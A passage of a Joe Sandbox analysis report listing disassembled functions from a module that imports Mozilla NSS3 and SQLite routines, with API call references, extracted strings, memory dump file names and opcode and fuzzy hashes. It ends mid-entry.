fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD60F2B

Strings

Aborting, xrefs: 6CD60EB3
Assertion failure: %s, at %s:%d, xrefs: 6CD60ED9, 6CD60EE5, 6CD60F06, 6CD60F0B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 760a384c2c2c6b424b2363013482554e3b780247ced7ec755908d3954a0ccea3
Instruction ID: 5f6fe74bb3fb93c0b2aa5a8975cb1c0c4f3d9e5a551edae574c53c5b63641620
Opcode Fuzzy Hash: 760a384c2c2c6b424b2363013482554e3b780247ced7ec755908d3954a0ccea3
Instruction Fuzzy Hash: 04018BB5900114ABEF01AFA5EC458AB3B6DEF862A4F004424FA0997B21D632E91087A2

Function 6CD62B70 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140(?,.dll), ref: 6CD62B81
PR_smprintf.NSS3(%s%s,?,.dll), ref: 6CD62B98
PR_smprintf.NSS3(%s\%s%s,?,?,.dll), ref: 6CD62BB4
PR_smprintf.NSS3(6CD8AAF9,?), ref: 6CD62BC4

Strings

%s\%s, xrefs: 6CD62B93
.dll, xrefs: 6CD62B7B, 6CD62BA8, 6CD62BCE
%s\%s%s, xrefs: 6CD62BAF

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: R_smprintf$strstr
String ID: %s\%s$%s\%s%s$.dll
API String ID: 3360132973-3501675219
Opcode ID: 526af696e778eaeb1b2dd0cf576685bb113ae752af17a69a9ad470730023c7ad
Instruction ID: caea8e6ced2c81c1e5a8d88738b85ad626b71876477fb4289e38b6fe93870eb7
Opcode Fuzzy Hash: 526af696e778eaeb1b2dd0cf576685bb113ae752af17a69a9ad470730023c7ad
Instruction Fuzzy Hash: 43F05E26806125B3A910277F6C08DEB3E1DC8D26ACF540956B81C62E69B7129108C0F2

Function 6CD24D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CD24DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD24DE0

Strings

misuse, xrefs: 6CD24DD5
%s at line %d of [%.10s], xrefs: 6CD24DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD24DCB
invalid, xrefs: 6CD24DB8
API call with %s database connection pointer, xrefs: 6CD24DBD

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: cbe3beeca60904a4541a58eb0411fc3d9f30c0345070dce54c96e9e8e17d63bc
Instruction ID: 62fb776f5e0bced9dd8cf27f6b0c074897e46c531aebe4e28ee7bed5d1b83016
Opcode Fuzzy Hash: cbe3beeca60904a4541a58eb0411fc3d9f30c0345070dce54c96e9e8e17d63bc
Instruction Fuzzy Hash: E6F0E925F16574ABE7005315CC10F8637654F0132DF4609E1EF086BEB2E21EE85882D1

Function 6CD24DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CD24E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD24E4D

Strings

misuse, xrefs: 6CD24E42
%s at line %d of [%.10s], xrefs: 6CD24E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD24E38
invalid, xrefs: 6CD24E25
API call with %s database connection pointer, xrefs: 6CD24E2A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 32928ff2a1b919284a1fbbec08bf5b3fcb85228ace56495933706192b1b811af
Instruction ID: 0cbc82b30f30e736a8d32dcf826035053b8660ac5711bf888a8fc3a834546879
Opcode Fuzzy Hash: 32928ff2a1b919284a1fbbec08bf5b3fcb85228ace56495933706192b1b811af
Instruction Fuzzy Hash: DDF02711F45928ABF72053299C10F8637958B4132DF4944A1EF0C6BEB2D30EDC6842E1

Function 6CC90C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CC91444,?,00000001,?,00000000,00000000,?,?,6CC91444,?,?,00000000,?,?), ref: 6CC90CB3

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC91444,?,00000001,?,00000000,00000000,?,?,6CC91444,?), ref: 6CC90DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CC91444,?,00000001,?,00000000,00000000,?,?,6CC91444,?), ref: 6CC90DEC

Part of subcall function 6CCB0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CC52AF5,?,?,?,?,?,6CC50A1B,00000000), ref: 6CCB0F1A
Part of subcall function 6CCB0F10: malloc.MOZGLUE(00000001), ref: 6CCB0F30
Part of subcall function 6CCB0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCB0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CC91444,?,00000001,?,00000000,00000000,?), ref: 6CC90DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CC91444,?,00000001,?,00000000), ref: 6CC90E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC91444,?,00000001,?,00000000,00000000,?), ref: 6CC90E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CC91444,?,00000001,?,00000000,00000000,?,?,6CC91444,?,?,00000000), ref: 6CC90E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC91444,?,00000001,?,00000000,00000000,?), ref: 6CC90E79

Part of subcall function 6CCA1560: TlsGetValue.KERNEL32(00000000,?,6CC70844,?), ref: 6CCA157A
Part of subcall function 6CCA1560: EnterCriticalSection.KERNEL32(?,?,?,6CC70844,?), ref: 6CCA158F
Part of subcall function 6CCA1560: PR_Unlock.NSS3(?,?,?,?,6CC70844,?), ref: 6CCA15B2

Part of subcall function 6CC6B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CC71397,00000000,?,6CC6CF93,5B5F5EC0,00000000,?,6CC71397,?), ref: 6CC6B1CB
Part of subcall function 6CC6B1A0: free.MOZGLUE(5B5F5EC0,?,6CC6CF93,5B5F5EC0,00000000,?,6CC71397,?), ref: 6CC6B1D2

Part of subcall function 6CC689E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC688AE,-00000008), ref: 6CC68A04
Part of subcall function 6CC689E0: EnterCriticalSection.KERNEL32(?), ref: 6CC68A15
Part of subcall function 6CC689E0: memset.VCRUNTIME140(6CC688AE,00000000,00000132), ref: 6CC68A27
Part of subcall function 6CC689E0: PR_Unlock.NSS3(?), ref: 6CC68A35

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 68063bc2d7610f0ffc69344fa5d8e7790445c3080f39b1a53d70827f9339797d
Instruction ID: 55478e9b32cb7974b0ba86b9e703999ffa539d8d557d09785aa089212a544348
Opcode Fuzzy Hash: 68063bc2d7610f0ffc69344fa5d8e7790445c3080f39b1a53d70827f9339797d
Instruction Fuzzy Hash: 4751C8F6E002019FFB109F65DC85ABB37A8EF49218F150064ED1997B12FB31ED1587A2

Function 6CC46E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CC46ED8
sqlite3_value_text.NSS3(?,?), ref: 6CC46EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CC46FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CC46FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CC46FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CC47010
sqlite3_value_blob.NSS3(?,?), ref: 6CC4701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CC47052

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 0b49a9312fd41c71b7068b19ff944c4aef72a9d20650405047e6a55c67370c5d
Instruction ID: e975dcf61ac4ec39bb3c6908e04f3872640084417b1ba7a56b5aebc8f8e9020b
Opcode Fuzzy Hash: 0b49a9312fd41c71b7068b19ff944c4aef72a9d20650405047e6a55c67370c5d
Instruction Fuzzy Hash: B161D1B1E156068BEB00CF69D8007EEB7B2BF45308F18C165D858ABB55F7369C06CBA0

Function 6CC9CA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC9CA95
EnterCriticalSection.KERNEL32(00000000), ref: 6CC9CAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6CC9C8CF,?,?,?), ref: 6CC9CAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC9CB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6CC9C8CF,?,?,?), ref: 6CC9CB31

Part of subcall function 6CC91490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6CC9CB40,?,00000000), ref: 6CC914A1
Part of subcall function 6CC91490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6CC9C8CF,?), ref: 6CC914C7
Part of subcall function 6CC91490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC914E4
Part of subcall function 6CC91490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6CC914F5

PR_Unlock.NSS3(?), ref: 6CC9CB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC9CBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CC9C8CF), ref: 6CC9CBE2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: 5f739821834a1e2c906175eac9dfebe449c50dff22fe79a30993191c0d7bd55e
Instruction ID: bc9f797883fb915ea4d3a82dcfd24bd39b0d235a7b690197036d6c70929d2422
Opcode Fuzzy Hash: 5f739821834a1e2c906175eac9dfebe449c50dff22fe79a30993191c0d7bd55e
Instruction Fuzzy Hash: 56514FB5E001099FDB00EFA9D880AEEB7B8BF09358F144169E914A7711F731ED64CBA1

Function 6CCB8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CCB7313), ref: 6CCB8FBB

Part of subcall function 6CCB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC58298,?,?,?,6CC4FCE5,?), ref: 6CCB07BF
Part of subcall function 6CCB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CCB07E6
Part of subcall function 6CCB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB081B
Part of subcall function 6CCB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CCB7313), ref: 6CCB9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CCB7313), ref: 6CCB903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CCB7313), ref: 6CCB909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CCB7313), ref: 6CCB90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CCB7313), ref: 6CCB90F1

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CCB7313), ref: 6CCB906B

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CCB7313), ref: 6CCB9128

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: e99bb6c0c7c89202be2ecc9508b6b69b5b4c4aef827b476c73c742356fa753f7
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: CF519471B002029FEB10DFAADC84B26B7F9AF65318F154029D919E7B61FB31E805CB91

Function 6CC988E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC988FC

Part of subcall function 6CCABE30: SECOID_FindOID_Util.NSS3(6CC6311B,00000000,?,6CC6311B,?), ref: 6CCABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC98913

Part of subcall function 6CCB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
Part of subcall function 6CCB0FF0: PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016
Part of subcall function 6CCB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CD7D864,?), ref: 6CC98947

Part of subcall function 6CCAE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CCAE245
Part of subcall function 6CCAE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CCAE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC9895B
DER_GetInteger_Util.NSS3(?), ref: 6CC98973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC98982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC989EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC98A12

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 9843c21cf8699fae1f79146db26793fa98fe6e931020a933fdf3b210a6101f4a
Instruction ID: 78c714577e72e3f396b930c5784495a3ac7676dbdadd995da532646394e5a20f
Opcode Fuzzy Hash: 9843c21cf8699fae1f79146db26793fa98fe6e931020a933fdf3b210a6101f4a
Instruction Fuzzy Hash: B2316DB2A0460057FB104679BC45FAA72959F9131CF260737D919D7B92FB35C4468193

Function 6CC4AB70 Relevance: 12.1, APIs: 8, Instructions: 104pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32(?,?,?,00000000), ref: 6CC4ABAF
GetLastError.KERNEL32 ref: 6CC4AC44
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CC4AC50

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC4AC62
CloseHandle.KERNEL32(?), ref: 6CC4AC75
CloseHandle.KERNEL32(?), ref: 6CC4AC7A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Error$CloseHandle$CreateLastPipeValue
String ID:
API String ID: 4247729451-0
Opcode ID: c6a41f658c8e777721055f19b9569831cefbe03ae3a5918e9c1b3858af36edff
Instruction ID: 79a51c100cf4cc557fe848ccce32b059ecffa3356a303ee8f2374bc566deb6b1
Opcode Fuzzy Hash: c6a41f658c8e777721055f19b9569831cefbe03ae3a5918e9c1b3858af36edff
Instruction Fuzzy Hash: 6631C575A00105DFEB14DFA9DC4496EBBF8FF89318B25C068D9099B360E732AC45CB90

Function 6CC74E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC74E90
EnterCriticalSection.KERNEL32 ref: 6CC74EA9
TlsGetValue.KERNEL32 ref: 6CC74EC6
EnterCriticalSection.KERNEL32 ref: 6CC74EDF
PL_HashTableLookup.NSS3 ref: 6CC74EF8
PR_Unlock.NSS3 ref: 6CC74F05
PR_Now.NSS3 ref: 6CC74F13
PR_Unlock.NSS3 ref: 6CC74F3A

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: d99e6aea0f03443a9f50afbeeddbca19ed7e240649bf6858363c9e0fe6436bc3
Instruction ID: fa0dab3bf3c9efc9d0fea57b65575a0ef49082cc000b50b24d192d82d91239ea
Opcode Fuzzy Hash: d99e6aea0f03443a9f50afbeeddbca19ed7e240649bf6858363c9e0fe6436bc3
Instruction Fuzzy Hash: 8C4168B4A04A059FDB00EF79D0848AABBF4FF49354B018569ED598B710EB30E895CFA1

Function 6CC74A10 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

